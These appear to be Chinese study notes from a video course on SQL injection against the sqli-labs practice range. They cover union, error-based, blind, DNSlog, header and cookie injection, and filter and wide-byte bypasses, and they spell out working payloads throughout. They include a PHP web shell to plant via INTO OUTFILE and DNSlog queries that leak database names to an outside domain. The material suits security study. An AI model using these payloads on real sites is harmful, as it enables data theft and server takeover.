本文为B站视频SQL注入由简入精自学内容笔记,仅用于学习记录,严禁用于非法途径。任何危害网络安全与违法犯罪行为皆与本站无关。
在线训练场:https://sqli-labs.bachang.org/
SQL注入步骤
- 查找注入点
- 判断是字符型还是数字型注入,and 1=1 1=2 / 3-1
- 如果是字符型,找到闭合方式,’ ” ‘) “)
- 判断查询列数,group by order by
- 查询回显位置, -1
union注入
提前了解
查找数据库security中的表名
所需要表名信息在数据库Information_schema->数据表tables->数据列table_name
id=0' union select 1,table_name,3 from information_schema.tables --+
过滤在security数据库中的表名,即table_schema为security的行
id=0' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
group_concat()的作用:确保所有查询信息能放到一行显示出来
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找数据库security中数据表users的列名
所需要信息在数据库Information_schema数据表columns数据列column_name
id=0' union select 1,column_name,3 from information_schema.columns --+
查询最终目标
查询语句 select列名+from表名+where限定语句
id=0' union select 1,group_concat(username,password),3 from users --+
报错注入
通过构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,来返回报错提示中包含数据库中的内容
如:通过打错database(),让其回显当前数据库名称
十二种报错注入
- floor()
- extractValue()
- updateXml()
- NAME_CONST()
- jion()
- exp()
- geometryCollection()
- polygon()
- multipoint()
- multlinestring()
- multpolygon()
- linestring()
extractValue报错注入
函数extractValue(XML_document,XPath_string)包含两个参数
第一个参数 XML文档对象名称,第二个参数 路径
利用extractValue()报错注入
id=1' union select 1,extractValue(1,concat(0x7e,(database()))),3 --+
# 0x7e='~'
# concat() 字符串拼接函数
# eg. concat(1,2); => 12
updatexml报错注入
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档对象的名称,例如Doc
第二个参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据
利用updatexml()报错注入
?id=1" union select 1,updatexml(1,concat(0x7e,(database())),3),3 --+
# or
?id=1" and 1=updatexml(1,concat(0x7e,(database())),3) --+
floor报错注入
rand()函数:随机返回0~1之间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
as:别名
count()函数:汇总统计数量
limit:这里用于显示指定行数
详解:https://www.bilibili.com/video/BV1c34y1h7So?p=14
?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x --+
盲注
盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入
布尔盲注
布尔盲注:web页面只返回True真,False假两种类型。利用页面返回不同,逐个猜解数据
时间盲注
时间盲注:web页面只返回一个正常页面。利用页面响应时间不同,逐个猜解数据(前提是数据库会执行命令代码,只是不反馈页面信息)
sleep()函数:参数为休眠时长,以秒为单位,可以为小数
if(condition,true,false)函数:condition为条件,true当条件为真时返回的值,flase当条件为假时返回的值
文件上传
mysql文件上传要点
1.show variables like ‘%secure%’; 用来查看mysql是否有读写文件权限;
2.数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
3.into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。
文件上传指令
<?php @eval($_POST[‘password’]);?>
DNSlog注入
load_file()函数:用于加载文件内容并将其封装成一个函数返回的函数,注入用法类似 select load_file("//(select database()).ctfstu.com/1.txt");
作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,只要能获得DNS日志,就得到了想要的值。
要有读写权限
需要用到的网站
http://ceye.io/
http://www.dnslog.cn/
手动注入
先获取一个域名
然后进行手动注入
?id=1' and (select load_file(concat('//',(select database()),'.1kyhqu.dnslog.cn/1.txt'))) --+
最后Refresh Record就可以看到查询内容
自动注入
下载DnslogSqlinj工具到kali中
https://github.com/ADOOO/DnslogSqlinj
并更改config.py文件的APItoken和DNSurl
python2 dnslogSql.py -u "http://192.168.255.135:8989/Less-9/?id=1' and ({}) --+" --dbs
POST报头注入
POST提交和GET提交
- get提交可以被缓存,post提交不会
- get提交参数会保留在浏览器的历史记录里,post提交不会
- get提交可以被收藏为书签,post提交不会
- get提交有长度限制,最长2048个字符;post提交没有长度要求,不是只允许使用ASCII字符,还可以使用二进制数据
- post提交比get提交更安全
UNION注入
通过Burp Suite查看请求的参数内容
即uname=admin’ or 1=1 #&passwd=123&submit=Submit
替换掉’or’语句,开始进行注入
报错注入
盲注
布尔盲注
时间盲注
DNSlog注入
uagent注入
必须要能够成功登录
查看页面源码可以看到uagent在INSERT语句当中,由此可以使用报错注入
使用BpSuite,拦截报文,更改User-Agent内容
referer注入
Referer,即HTTP Referer,是头部信息header的一部分,当浏览器向web服务器发送请求的时候一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
常见用法
- 防盗链:比如只允许自己的网站访问自己的图片服务器,自己的域名是www.google.com,那么服务器每次提取到Referer来判断是不是自己的域名www.google.com,如果是就继续访问,如果不是就拦截。
- 防止恶意请求:比如静态请求是*.html结尾的,动态请求是*.shtml,那么由此可以这么用,所有的*.shtml请求,必须Referer为我自己的网站。
- 空referer:首先,我们对空Referer定义为,Referer头部的内容为空,或者,一个HTTP请求中根本不包含Referer头部。
登陆成功后,会把’$referer’,’$IP’的信息插入数据表’referers’
首先要求登陆成功,然后可以修改$referer参数(没有做check_input检查),做报错注入(只能做报错注入),在插入信息时执行指令导致出错,反馈错误信息,登陆后输出referer信息包括报错信息,达到注入效果。
cookie注入
cookie相当于临时身份证。
某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。暂时记录用户个人信息,且可以保存在客户机上。
过滤绕过
注释符号过滤绕过
注释符号的作用:把后面不需要的语句注释掉,保证句子的完整性。
常用注释符号:–,#,%23
如何判断页面过滤对象
从最简单的注入语句开始,一步步增加复杂性,通过此方法判断过滤对象。判断的过程类似于搭建积木一样,一点点增加积木高度,判断到哪个高度容易倒塌,则对其进行优化
如图可知无法正常使用注释符来注释,因此可以采用闭合的方式来进行绕过
and和or过滤绕过
and和or的作用
- and为同时满足两个条件。例如测试字符型/数字型时用到and1=1和and1=2语句。
- or为满足其中一个条件即可。例如报错注入时会用到or语句。
绕过手法
1.使用大小写绕过
?id=1′ anD 1=1 –+
2.复写过滤字符
?id=1′ anandd 1=1 –+
3.用&&取代and,用||取代or
?id=1′ && 1=1 –+
空格过滤绕过
逗号过滤join绕过
union select 1,2,3
等价于union select * from (select 1)a join (select 2)b join (select 3)c
union和select过滤绕过
- 尝试大小写绕过
- 尝试复写单词绕过
- 尝试报错注入
- 尝试URL编码绕过
宽字节注入绕过
函数addslashes()
addslashes()函数在指定的预定义字符前添加反斜杠。这些字符是单引号(‘)、双引号(“)、反斜线(\)与NUL(NULL字符)。
转义,例如在单引号’前加反斜线“\”,则会转义没有功能性的字符“’”
当写入或查询用户名“1’”时,数据库会识别单引号’为闭合符号,要求再输入一个单引号将其闭合,只查询“1”而没办法查询“1’”
如果输入“1\’”,\使’失去闭合符的功能,则数据库会识别为“1’”
addslashes()过滤作用
当输入闭合符’时把在’前加\变为没有功能性的字符,导致无法闭合。
GBKB编码
输入%df,本来会转义单引号’为\’,但\(%5c)编码位为92,%df的编码位为223.
%df%5c符合GBK取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字,这样\就会失去应有的作用